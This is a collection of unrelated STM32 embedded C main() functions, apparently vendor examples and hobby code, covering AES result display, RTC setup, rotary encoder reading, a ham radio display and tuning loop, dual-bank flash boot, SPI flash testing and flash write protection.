STM_EVAL_LEDOn(LED3); /* Set the Text Color */ LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_6, " Success "); } else { /* KO */ /* Turn on LED4 */ STM_EVAL_LEDOn(LED4); /* Set the Text Color */ LCD_SetTextColor(LCD_COLOR_RED); LCD_DisplayStringLine(LCD_LINE_6, " Failed "); } LCD_DisplayStringLine(LCD_LINE_5, " Decryption "); #if defined AES_ECB LCD_DisplayStringLine(LCD_LINE_4, " ECB Mode "); #elif defined AES_CBC LCD_DisplayStringLine(LCD_LINE_4, " CBC Mode "); #else /* CTR */ LCD_DisplayStringLine(LCD_LINE_4, " CTR Mode "); #endif while (1) { } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f0xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f0xx.c file */ /* USARTx configured as follow: - BaudRate = 115200 baud - Word Length = 8 Bits - One Stop Bit - No parity - Hardware flow control disabled (RTS and CTS signals) - Receive and transmit enabled */ USART_InitStructure.USART_BaudRate = 115200; USART_InitStructure.USART_WordLength = USART_WordLength_8b; USART_InitStructure.USART_StopBits = USART_StopBits_1; USART_InitStructure.USART_Parity = USART_Parity_No; USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None; USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx; STM_EVAL_COMInit(COM1, &USART_InitStructure); /* GPIOC Periph clock enable */ RCC_AHBPeriphClockCmd(RCC_AHBPeriph_GPIOC, ENABLE); /* Output a message on Hyperterminal using printf function */ printf("\n\r *********************** RTC Time Stamp Example ***********************\n\r"); if (RTC_ReadBackupRegister(RTC_BKP_DR0) != 0x32F2) { /* RTC configuration */ RTC_Config(); /* Configure the RTC data register and RTC prescaler */ RTC_InitStructure.RTC_AsynchPrediv = AsynchPrediv; RTC_InitStructure.RTC_SynchPrediv = SynchPrediv; RTC_InitStructure.RTC_HourFormat = RTC_HourFormat_24; /* Check on RTC init */ if (RTC_Init(&RTC_InitStructure) == ERROR) { printf("\n\r /!\\***** RTC Prescaler Config failed ********/!\\ \n\r"); } /* Configure the time register */ RTC_TimeRegulate(); } else { /* Check if the Power On Reset flag is set */ if (RCC_GetFlagStatus(RCC_FLAG_PORRST) != RESET) { printf("\r\n Power On Reset occurred....\n\r"); } /* Check if the Pin Reset flag is set */ else if (RCC_GetFlagStatus(RCC_FLAG_PINRST) != RESET) { printf("\r\n External Reset occurred....\n\r"); } printf("\r\n No need to configure RTC....\n\r"); /* Enable the PWR clock */ RCC_APB1PeriphClockCmd(RCC_APB1Periph_PWR, ENABLE); /* Allow access to RTC */ PWR_BackupAccessCmd(ENABLE); /* Wait for RTC APB registers synchronisation */ RTC_WaitForSynchro(); /* Clear the RTC Alarm Flag */ RTC_ClearFlag(RTC_FLAG_ALRAF); /* Clear the EXTI Line 17 Pending bit (Connected internally to RTC Alarm) */ EXTI_ClearITPendingBit(EXTI_Line17); /* Display the RTC Time/Date and TimeStamp Time/Date */ RTC_TimeShow(); RTC_DateShow(); RTC_TimeStampShow(); } /* Configure the external interrupt "TAMPER" and "Joystick SEL" buttons */ STM_EVAL_PBInit(BUTTON_TAMPER, BUTTON_MODE_EXTI); STM_EVAL_PBInit(BUTTON_KEY, BUTTON_MODE_EXTI); STM_EVAL_PBInit(BUTTON_SEL, BUTTON_MODE_EXTI); /* Configure LED1 */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDOn(LED1); /* Infinite loop */ while (1) { } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { /* GPIOE Periph clock enable */ RCC_AHBPeriphClockCmd(RCC_AHBPeriph_GPIOE, ENABLE); /* Configure PE8, PE9, and PE10 in input pushpull mode */ GPIO_InitStructure.GPIO_Pin = GPIO_Pin_8 | GPIO_Pin_9 | GPIO_Pin_10; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN; GPIO_InitStructure.GPIO_OType = GPIO_OType_PP; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_DOWN; GPIO_Init(GPIOE, &GPIO_InitStructure); /* * GPIO_Pin_8 = CW * GPIO_Pin_9 = CCW * GPIO_Pin_10 = Button */ /* Configure PE7 in output pushpull mode */ GPIO_InitStructure.GPIO_Pin = GPIO_Pin_7; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT; GPIO_InitStructure.GPIO_OType = GPIO_OType_PP; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP; GPIO_Init(GPIOE, &GPIO_InitStructure); /* * GPIO_Pin_7 = VDD */ //Set Pin E7 to VDD GPIOE->BSRR = 0x0080; /* Initialize Leds mounted on STM32F3-Discovery EVAL board */ STM_EVAL_LEDInit(LED6); STM_EVAL_LEDInit(LED7); /* Turn on LED3, LED4, LED5 and LED6 */ STM_EVAL_LEDOff(LED6); STM_EVAL_LEDOff(LED7); while (1) { CW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_8); CCW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_9); //Want to only accept data if one is zero and other goes from low to high //Change occurs when value != old value //Old value should be equal to 0, current value should be high ( greater than 0 ) if( CW > 0 ) { while( CW > 0 ) { CW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_8); CCW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_9); if( CCW > 0 ) { if( RotaryPosition < 10 ) { RotaryPosition++; } STM_EVAL_LEDToggle(LED7); } } } if( CCW > 0 ) { while( CCW > 0 ) { CW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_8); CCW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_9); if( CW > 0 ) { if( RotaryPosition > 0 ) { RotaryPosition--; } STM_EVAL_LEDToggle(LED6); } } } /* if( CW > 0 ) { if( RotaryPosition < 10 ) { RotaryPosition++; } STM_EVAL_LEDToggle(LED6); while( CW > 0 || CCW > 0 ) { CW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_8); CCW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_9); } } if( CCW > 0 ) { if( RotaryPosition > 0 ) { RotaryPosition--; } STM_EVAL_LEDToggle(LED7); while( CW > 0 || CCW > 0 ) { CW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_8); CCW = GPIO_ReadInputDataBit(GPIOE, GPIO_Pin_9); } } */ } //end while } //end main
int main(void) { //uint8_t Rx1_Buffer[BUFFER_SIZE1]; volatile uint16_t NumDataRead = 0; volatile uint16_t symbol; uint8_t command_buffer[10]= {0xe2,0xeb,0x81,120,0xc6,0xaf,0x88,0xb0,0x00,0x10}; uint32_t xtal_value; /* 0: 0xe2 - 11100010 - System Reset 1: 0xeb - 11101011 - Set LCD BIAS ratio [b1:b0] 2: 0x81 - 10000001 - Set VBIAS potentiometer 3: 0x50 - 01010000 - VBIAS potentiometer value 4: 0xc6 - 11000110 - Set LCD Mapping Control [b2:b1] 5: 0xaf - 10101111 - Set display ENABLE [b0] 6: 0x89 - 10001001 - Set RAM adress Control [b2:b0] 7: 0xb0 - 10110000 - Set Page Adress [b3:b0] 8: 0x00 - 00000000 - Set Column Adress LSB [b3:b0] 9: 0x10 - 00010000 - Set Column Adress MSB [b3:b0] */ uint32_t decimal[8]; //uint8_t string0[]="Display Works Fine"; //uint8_t tune.tune_freq_vis[]="14000000"; /*Start Frequency*/ //uint8_t string2[]="FREQUENCY"; //uint8_t string3[]="HAM RADIO BAND"; uint8_t string4[]="20m USB 2800Hz x100";/*BAND MODE FILTER GAIN*/ //uint8_t string5[]="MODE SSB USB"; //uint8_t string6[]="GAIN 1000"; uint8_t string7[]="PRE:Off ATT:20 AGC:S"; uint8_t data_buffer[132]; uint8_t data_buffer1[132]; uint8_t data_buffer2[132]; uint8_t data_buffer3[132]; uint8_t si570_buf[11]; uint32_t bit_order; uint8_t current_pointer; uint8_t k, n, sp, lzs_flag, symb_width, enc1_pulse_ccw, enc1_pulse_cw,enc2_pulse_ccw, enc2_pulse_cw, show_it; uint8_t option_select, sub_option_select; uint8_t n1; uint8_t hs_div_code; uint32_t i,j/*,noise_filter_button*/; uint8_t display_menu; uint8_t offcet_x; extern menu_struct_t menu[MAX_MENU_QTY]; extern band_struct_t band_menu[MAX_BAND_QTY]; extern mode_struct_t mode_menu[MAX_MODE_QTY]; extern filter_struct_t filter_menu[MAX_FILTER_QTY]; extern gain_struct_t gain_menu; extern tune_struct_t tune; RCC_ClocksTypeDef RCC_Clocks; RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); /* SysTick end of count event each 10ms */ //if (FLASH_OB_GetRDP()!=SET) //{ // FLASH_OB_Unlock(); /*enable the FLASH option control register access*/ // FLASH_OB_RDPConfig(OB_RDP_Level_1); /*SET RDP=1*/ // FLASH_OB_Launch(); /*launch the Option Bytes programming process*/ // FLASH_OB_Lock(); /*disable the FLASH option control register*/ //} /* Initialize LEDs and LCD available on STM324xG-EVAL board *****************/ STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* Initialize user button STM324xG-EVAL board *****************/ STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO); STM_EVAL_ControlInit(CODEC_RESET); BOARD_GPIO_Init(); /*encoder input init*/ /* Turn on LEDs available on STM324xG-EVAL **********************************/ STM_EVAL_LEDOff(LED3); STM_EVAL_LEDOff(LED4); STM_EVAL_LEDOff(LED5); STM_EVAL_LEDOff(LED6); STM_EVAL_ControlOn(CODEC_RESET); Delay (300); STM_EVAL_ControlOff(CODEC_RESET); xtal_value=(uint32_t)114197425;/*0x6cfd9c8*/ freq_code_old=0; NumDataRead = 1; /* Initialize the I2C EEPROM driver ----------------------------------------*/ sEE_Init(); /* Initialize the CODEC driver*/ EVAL_AUDIO_SetAudioInterface(AUDIO_INTERFACE_I2S); EVAL_AUDIO_Init(OUTPUT_DEVICE_HEADPHONE, 255, I2S_AudioFreq_48k); EVAL_AUDIO_Play(sound, 96); /*Continuous Beep from codec*/ Codec_WriteRegister(0x1E, 0xC0); Delay (100); LCD_Write_Command(0x70, command_buffer, 1); Delay (10); LCD_Write_Command(0x70, (command_buffer+1), 5); Delay (10); n=0xA1;/*100 Hz frame rate*/ LCD_Write_Command(0x70, &n, 1); bit_order=0x989680; /*1e+7 decimal*/ for (j=0; j<8; j++) /*filling array for decimal to binary conversion*/ { decimal[j]=bit_order; bit_order=bit_order/10; } /*Clear display*/ symbol=0x00; for (j=0; j<8; j++) { for (i=0; i<131; i++) { data_buffer[i]=symbol; } LCD_Write_Command(0x70, (command_buffer+6), 4); Delay (10); LCD_Write_Data(0x70, data_buffer, (uint32_t)132); command_buffer[7]++; Delay (10); } si570_buf[6]=0x10;/*freeze DCO reg 137*/ si570_buf[7]=0x00;/*unfreeze DCO reg 137*/ si570_buf[8]=0x40;/*status new dco reg 135*/ si570_buf[9]=0x20;/*freeze M bit reg 135*/ si570_buf[10]=0x00;/*unfreeze M bit reg 135*/ // command_buffer[7]=0xb3; // LCD_Write_Command(0x70, (command_buffer+6), 4); freq2=0; i=5; j=0; k=0; sp=0; display_menu=0; show_it=1; /*initial display*/ display_menu=1; current_menu=0; old_value=new_value=((uint32_t)GPIO_ReadInputData(GPIOB))&ENCODERS_MASK; while (1) { new_value=((uint32_t)GPIO_ReadInputData(GPIOB))&ENCODERS_MASK; if (new_value!=old_value) { current_pointer=1; enc1_old_value=old_value&ENCODER1_MASK; enc2_old_value=old_value&ENCODER2_MASK; enc1_new_value=new_value&ENCODER1_MASK; enc2_new_value=new_value&ENCODER2_MASK; if (enc2_new_value!=enc2_old_value) { current_pointer=0; if ((enc2_old_value&ENCODER2_A_MASK)!=((enc2_new_value<<1)&ENCODER2_A_MASK))/*==ENCODER2_MASK*/ { STM_EVAL_LEDToggle(LED3); enc2_pulse_ccw=0; enc2_pulse_cw++; } else { STM_EVAL_LEDToggle(LED6); enc2_pulse_cw=0; enc2_pulse_ccw++; } //old_value=new_value; if (enc2_pulse_cw==4) /*increment*/ { if (STM_EVAL_PBGetState(BUTTON_USER)==0) /*if user button not pressed - > change sub menu*/ { menu[current_menu].menu_current_state++; if(menu[current_menu].menu_current_state>menu[current_menu].menu_states_qty-1) /*control if submenu<MAX_SUBMENU*/ { menu[current_menu].menu_current_state=0; } /*apply handler with action parameter*/ } else /*change menu*/ { current_menu++; if (current_menu>MAX_MENU_QTY-1) /*control if menu<MAX_MENU*/ { current_menu=0; } } enc2_pulse_cw=0; enc2_pulse_ccw=0; display_menu=1; if (current_menu==0) show_it=1; } else { if (enc2_pulse_ccw==4) /*decrement*/ { if (STM_EVAL_PBGetState(BUTTON_USER)==0) /*if user button not pressed - > change sub menu*/ { menu[current_menu].menu_current_state--; if (menu[current_menu].menu_current_state<0) { menu[current_menu].menu_current_state=menu[current_menu].menu_states_qty-1; } /*apply handler with action parameter*/ } else /*change menu*/ { current_menu--;/*control if menu<MAX_MENU*/ if (current_menu<0) { current_menu=MAX_MENU_QTY-1; } } enc2_pulse_cw=0; enc2_pulse_ccw=0; display_menu=1; if (current_menu==0) show_it=1; } } } if (current_pointer==1) { if ((enc1_old_value&ENCODER1_A_MASK)!=((enc1_new_value<<1)&ENCODER1_A_MASK))/*==ENCODER1_MASK*/ { STM_EVAL_LEDToggle(LED5); enc1_pulse_ccw=0; enc1_pulse_cw++; } else { STM_EVAL_LEDToggle(LED4); enc1_pulse_cw=0; enc1_pulse_ccw++; } old_value=new_value; /*--------------------------------------------------*/ if (enc1_pulse_cw==4) /*increment*/ { if (STM_EVAL_PBGetState(BUTTON_USER)==0) { for (j=1; j<8-i; j++) { tune.tune_freq_vis[i+j]=0x30; } enc1_pulse_cw=0; enc1_pulse_ccw=0; if ((tune.tune_freq_vis[i]&0x0f)==0x09) { tune.tune_freq_vis[i]=0; j=1; while ((tune.tune_freq_vis[i-j]&0x0f)==0x09) { tune.tune_freq_vis[i-j]=0; j++; } tune.tune_freq_vis[i-j]++; } else { tune.tune_freq_vis[i]++; } show_it=1; } else { enc1_pulse_cw=0; enc1_pulse_ccw=0; if (i==7) { i=0; } else { i++; } show_it=1; } } /*--------------------------------------------------*/ else { if (enc1_pulse_ccw==4) /*decrement*/ { if (STM_EVAL_PBGetState(BUTTON_USER)==0) { for (j=1; j<8-i; j++) { tune.tune_freq_vis[i+j]=0x30; } enc1_pulse_cw=0; enc1_pulse_ccw=0; if ((tune.tune_freq_vis[i]&0x0f)==0x00) { tune.tune_freq_vis[i]=9; j=1; while ((tune.tune_freq_vis[i-j]&0x0f)==0x00) { tune.tune_freq_vis[i-j]=9; j++; } tune.tune_freq_vis[i-j]--; } else { tune.tune_freq_vis[i]--; } } else { enc1_pulse_cw=0; enc1_pulse_ccw=0; if (i==0) { i=7; } else { i--; } show_it=1; } } show_it=1; } } if (display_menu==1) /*build menu buffer*/ { display_menu=0; pp1=menu[current_menu].pFunc(MODIFY); for (j=0; j<MAX_MENU_QTY; j++) { k=0; offcet_x=menu[j].menu_x_pos; pp1=menu[j].pFunc(DISPLAY); if (j==current_menu) { data_buffer2[k+offcet_x]=0xFF; data_buffer3[k+offcet_x]=0x07; k++; while ((*pp1)!=0) { for (jj=0; jj<5; jj++) { symbol=symboltable[(*pp1)-0x20][jj]; data_buffer2[k+offcet_x]=~(symbol<<2);/*Fill Upper buffer*/ data_buffer3[k+offcet_x]=~((symbol>>6)|0xF8); k++; } data_buffer2[k+offcet_x]=0xFF; data_buffer3[k+offcet_x]=0x07; k++; pp1++; } data_buffer2[k+offcet_x]=0xFF; data_buffer3[k+offcet_x]=0x07; } else { data_buffer2[k+offcet_x]=0x00; data_buffer3[k+offcet_x]=0x00; k++; while ((*pp1)!=0) { for (jj=0; jj<5; jj++) { symbol=symboltable[(*pp1)-0x20][jj]; data_buffer2[k+offcet_x]=(uint8_t)symbol<<2;/*Fill Upper buffer*/ data_buffer3[k+offcet_x]=(uint8_t)symbol>>6; k++; } data_buffer2[k+offcet_x]=0x00; data_buffer3[k+offcet_x]=0x00; k++; pp1++; } data_buffer2[k+offcet_x]=0x00; data_buffer3[k+offcet_x]=0x00; } }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32l1xx_xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32l1xx.c file */ /* Set the vector table address */ #if defined(BOOT_FROM_BANK1) /* Set the vector table to the Bank1 start address */ NVIC_SetVectorTable(NVIC_VectTab_FLASH, BANK1_START_ADDRESS); #elif defined(BOOT_FROM_BANK2) /* Set the vector table to the Bank1 start address */ NVIC_SetVectorTable(NVIC_VectTab_FLASH, BANK2_START_ADDRESS); #endif /* BOOT_FROM_BANK1 */ /* Initialize LEDs, Buttons and LCD on STM32L152D-EVAL board ****************/ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); /* Save the first BANK1 page */ FLASH_SaveBANK1(); /* Save the first BANK2 page */ FLASH_SaveBANK2(); /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); /* Configure the Joystick buttons */ STM_EVAL_PBInit(BUTTON_UP, BUTTON_MODE_GPIO); STM_EVAL_PBInit(BUTTON_SEL, BUTTON_MODE_GPIO); STM_EVAL_PBInit(BUTTON_DOWN, BUTTON_MODE_GPIO); STM_EVAL_PBInit(BUTTON_RIGHT, BUTTON_MODE_GPIO); STM_EVAL_PBInit(BUTTON_LEFT, BUTTON_MODE_GPIO); /* Initialize the LCD */ STM32L152D_LCD_Init(); /* Display message on STM32L152D-EVAL LCD ************************************/ /* Clear the LCD */ LCD_Clear(LCD_COLOR_WHITE); /* Set the LCD Back Color */ #if defined(BOOT_FROM_BANK1) LCD_SetBackColor(LCD_COLOR_BLUE); #elif defined(BOOT_FROM_BANK2) LCD_SetBackColor(LCD_COLOR_RED); #endif /* BOOT_FROM_BANK1 */ /* Set the LCD Text Color */ LCD_SetTextColor(LCD_COLOR_WHITE); LCD_DisplayStringLine(LCD_LINE_0, MESSAGE1); LCD_DisplayStringLine(LCD_LINE_1, MESSAGE2); LCD_DisplayStringLine(LCD_LINE_2, MESSAGE3); LCD_DisplayStringLine(LCD_LINE_4, MESSAGE4); LCD_SetFont(&Font12x12); LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_10, MESSAGE5); LCD_DisplayStringLine(LCD_LINE_11, MESSAGE6); LCD_SetTextColor(LCD_COLOR_WHITE); LCD_DisplayStringLine(LCD_LINE_12, MESSAGE7); LCD_DisplayStringLine(LCD_LINE_13, MESSAGE8); LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_14, MESSAGE9); LCD_DisplayStringLine(LCD_LINE_15, MESSAGE10); LCD_SetTextColor(LCD_COLOR_WHITE); LCD_DisplayStringLine(LCD_LINE_16, MESSAGE11); LCD_DisplayStringLine(LCD_LINE_17, MESSAGE12); LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_18, MESSAGE13); LCD_DisplayStringLine(LCD_LINE_19, MESSAGE14); LCD_SetTextColor(LCD_COLOR_WHITE); LCD_SetFont(&Font16x24); /* Turn on leds available on STM32L152D-EVAL ************************************/ STM_EVAL_LEDOn(LED1); STM_EVAL_LEDOn(LED2); STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOn(LED4); /* Infinite loop */ while (1) { /*--- If Joystick DOWN button is pushed, reset BFB2 bit to enable boot from Bank2 (active after next reset, w/ Boot pins set in Boot from Flash memory position ---*/ if (STM_EVAL_PBGetState(BUTTON_DOWN) == 0) { /* Reset BFB2 bit to enable boot from Flash Bank2 */ FLASH_Unlock(); FLASH_OB_Unlock(); FLASH_ClearFlag(FLASH_FLAG_EOP|FLASH_FLAG_WRPERR | FLASH_FLAG_PGAERR | FLASH_FLAG_SIZERR | FLASH_FLAG_OPTVERR | FLASH_FLAG_OPTVERRUSR); FLASH_OB_UserConfig(OB_IWDG_SW, OB_STOP_NoRST, OB_STDBY_NoRST); FLASH_OB_BORConfig(OB_BOR_LEVEL1); if (FLASH_OB_BootConfig(OB_BOOT_BANK2) == FLASH_COMPLETE) { /* Generate System Reset to load the new option byte values */ FLASH_OB_Launch(); } else { /* Display information */ LCD_DisplayStringLine(LCD_LINE_6, MESSAGE15); } } /*--- If Joystick UP button is pushed, set BFB2 bit to enable boot from Bank1 (active after next reset, w/ Boot pins set in Boot from Flash memory position ---*/ if (STM_EVAL_PBGetState(BUTTON_UP) == 0) { /* Set BFB2 bit to enable boot from Flash Bank2 */ FLASH_Unlock(); FLASH_OB_Unlock(); FLASH_ClearFlag(FLASH_FLAG_EOP|FLASH_FLAG_WRPERR | FLASH_FLAG_PGAERR | FLASH_FLAG_SIZERR | FLASH_FLAG_OPTVERR | FLASH_FLAG_OPTVERRUSR); FLASH_OB_UserConfig(OB_IWDG_SW, OB_STOP_NoRST, OB_STDBY_NoRST); FLASH_OB_BORConfig(OB_BOR_LEVEL1); if (FLASH_OB_BootConfig(OB_BOOT_BANK1) == FLASH_COMPLETE) { /* Generate System Reset to load the new option byte values */ FLASH_OB_Launch(); } else { /* Display information */ LCD_DisplayStringLine(LCD_LINE_6, MESSAGE15); } } /*--- If Joystick LEFT button is pushed, program the content of address 0x08000000 (base address of Bank1) to 0x00 ---*/ if (STM_EVAL_PBGetState(BUTTON_LEFT) == 0) { FLASH_Unlock(); FLASH_ClearFlag(FLASH_FLAG_EOP | FLASH_FLAG_WRPERR | FLASH_FLAG_PGAERR | FLASH_FLAG_SIZERR | FLASH_FLAG_OPTVERR | FLASH_FLAG_OPTVERRUSR); /* Erase stack pointer value at Bank 1 start address */ FLASH_ErasePage(0x08000000); FLASH_Lock(); LCD_ClearLine(LCD_LINE_5); LCD_ClearLine(LCD_LINE_7); LCD_ClearLine(LCD_LINE_8); LCD_ClearLine(LCD_LINE_9); /* Check if erase operation is OK */ if ((uint32_t)(*(uint32_t *)BANK1_START_ADDRESS) != 0x00) { /* Display information */ LCD_DisplayStringLine(LCD_LINE_6, MESSAGE15); } else { /* Display information */ LCD_DisplayStringLine(LCD_LINE_6, MESSAGE16); } } /*--- If Joystick RIGHT button is pushed, program the content of address 0x08030000 (base address of Bank2) to 0x00 ---*/ if (STM_EVAL_PBGetState(BUTTON_RIGHT) == 0) { FLASH_Unlock(); FLASH_ClearFlag(FLASH_FLAG_EOP|FLASH_FLAG_WRPERR | FLASH_FLAG_PGAERR | FLASH_FLAG_SIZERR | FLASH_FLAG_OPTVERR | FLASH_FLAG_OPTVERRUSR); /* Erase stack pointer value at Bank 2 start address */ FLASH_ErasePage(0x08030000); FLASH_Lock(); LCD_ClearLine(LCD_LINE_5); LCD_ClearLine(LCD_LINE_7); LCD_ClearLine(LCD_LINE_8); LCD_ClearLine(LCD_LINE_9); /* Check if erase operation is OK */ if ((uint32_t)(*(uint32_t *)BANK2_START_ADDRESS) != 0x00) { /* Display information */ LCD_DisplayStringLine(LCD_LINE_6, MESSAGE15); } else { /* Display information */ LCD_DisplayStringLine(LCD_LINE_6, MESSAGE16); } } /*--- If Joystick UP button is pushed, copy the program to the cross bank --*/ if (STM_EVAL_PBGetState(BUTTON_SEL) == 0) { FLASH_Unlock(); FLASH_ClearFlag(FLASH_FLAG_EOP|FLASH_FLAG_WRPERR | FLASH_FLAG_PGAERR | FLASH_FLAG_SIZERR | FLASH_FLAG_OPTVERR | FLASH_FLAG_OPTVERRUSR); #if defined (BOOT_FROM_BANK1) /* Erase one page in BANK2 to store the first page */ FLASH_ErasePage(0x08030000); for(index = 0; index < 64; index++) { FLASH_FastProgramWord((0x08030000 + (index * 4)), (*(uint32_t *)(0x08020000 + (index * 4)))); } #elif defined (BOOT_FROM_BANK2) /* Erase one page in BANK1 to store the first page */ FLASH_ErasePage(0x08000000); for(index = 0; index < 64; index++) { FLASH_FastProgramWord((0x08000000 + (index * 4)), (*(uint32_t *)(0x08050000 + (index * 4)))); } #endif } /* Toggle LD3 */ STM_EVAL_LEDToggle(LED3); /* Insert 50 ms delay */ Delay(5); /* Toggle LD2 */ STM_EVAL_LEDToggle(LED2); /* Insert 100 ms delay */ Delay(10); } }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup files (startup_stm32f40_41xxx.s/startup_stm32f427_437xx.s/startup_stm32f429_439xx.s) before to branch to application main. */ /* Initialize LEDs mounted on EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); /* Initialize the SPI FLASH driver */ sFLASH_Init(); /* Get SPI Flash ID */ FlashID = sFLASH_ReadID(); /* Check the SPI Flash ID */ if (FlashID == sFLASH_M25P64_ID) { /* OK: Turn on LD1 */ STM_EVAL_LEDOn(LED1); /* Perform a write in the Flash followed by a read of the written data */ /* Erase SPI FLASH Sector to write on */ sFLASH_EraseSector(FLASH_SECTOR_TO_ERASE); /* Write Tx_Buffer data to SPI FLASH memory */ sFLASH_WriteBuffer(Tx_Buffer, FLASH_WRITE_ADDRESS, BufferSize); /* Read data from SPI FLASH memory */ sFLASH_ReadBuffer(Rx_Buffer, FLASH_READ_ADDRESS, BufferSize); /* Check the correctness of written dada */ TransferStatus1 = Buffercmp(Tx_Buffer, Rx_Buffer, BufferSize); /* TransferStatus1 = PASSED, if the transmitted and received data by SPI1 are the same */ /* TransferStatus1 = FAILED, if the transmitted and received data by SPI1 are different */ /* Perform an erase in the Flash followed by a read of the written data */ /* Erase SPI FLASH Sector to write on */ sFLASH_EraseSector(FLASH_SECTOR_TO_ERASE); /* Read data from SPI FLASH memory */ sFLASH_ReadBuffer(Rx_Buffer, FLASH_READ_ADDRESS, BufferSize); /* Check the correctness of erasing operation dada */ for (Index = 0; Index < BufferSize; Index++) { if (Rx_Buffer[Index] != 0xFF) { TransferStatus2 = FAILED; } } /* TransferStatus2 = PASSED, if the specified sector part is erased */ /* TransferStatus2 = FAILED, if the specified sector part is not well erased */ } else { /* Error: Turn on LD2 */ STM_EVAL_LEDOn(LED2); } while (1) {} }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f40xx.s/startup_stm32f427x.s/startup_stm32f429x.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f4xx.c file */ /* Initialize LEDs mounted on EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); /* Initialize Key Button mounted on EVAL board */ STM_EVAL_PBInit(BUTTON_KEY, BUTTON_MODE_GPIO); /* Test if Key push-button on EVAL board is pressed */ if (STM_EVAL_PBGetState(BUTTON_KEY) == 0x00) { /* Get FLASH_WRP_SECTORS write protection status */ SectorsWRPStatus = FLASH_OB_GetWRP() & FLASH_WRP_SECTORS; if (SectorsWRPStatus == 0x00) { /* If FLASH_WRP_SECTORS are write protected, disable the write protection */ /* Enable the Flash option control register access */ FLASH_OB_Unlock(); /* Disable FLASH_WRP_SECTORS write protection */ FLASH_OB_WRPConfig(FLASH_WRP_SECTORS, DISABLE); /* Start the Option Bytes programming process */ if (FLASH_OB_Launch() != FLASH_COMPLETE) { /* User can add here some code to deal with this error */ while (1) { } } /* Disable the Flash option control register access (recommended to protect the option Bytes against possible unwanted operations) */ FLASH_OB_Lock(); /* Get FLASH_WRP_SECTORS write protection status */ SectorsWRPStatus = FLASH_OB_GetWRP() & FLASH_WRP_SECTORS; /* Check if FLASH_WRP_SECTORS write protection is disabled */ if (SectorsWRPStatus == FLASH_WRP_SECTORS) { /* OK, turn ON LED1 */ STM_EVAL_LEDOn(LED1); } else { /* KO, turn ON LED3 */ STM_EVAL_LEDOn(LED3); } } else { /* If FLASH_WRP_SECTORS are not write protected, enable the write protection */ /* Enable the Flash option control register access */ FLASH_OB_Unlock(); /* Enable FLASH_WRP_SECTORS write protection */ FLASH_OB_WRPConfig(FLASH_WRP_SECTORS, ENABLE); /* Start the Option Bytes programming process */ if (FLASH_OB_Launch() != FLASH_COMPLETE) { /* User can add here some code to deal with this error */ while (1) { } } /* Disable the Flash option control register access (recommended to protect the option Bytes against possible unwanted operations) */ FLASH_OB_Lock(); /* Get FLASH_WRP_SECTORS write protection status */ SectorsWRPStatus = FLASH_OB_GetWRP() & FLASH_WRP_SECTORS; /* Check if FLASH_WRP_SECTORS are write protected */ if (SectorsWRPStatus == 0x00) { /* OK, turn ON LED4 */ STM_EVAL_LEDOn(LED4); } else { /* KO, turn ON LED3 */ STM_EVAL_LEDOn(LED3); } } } /* Turn ON LED2 */ STM_EVAL_LEDOn(LED2); while (1) { } }
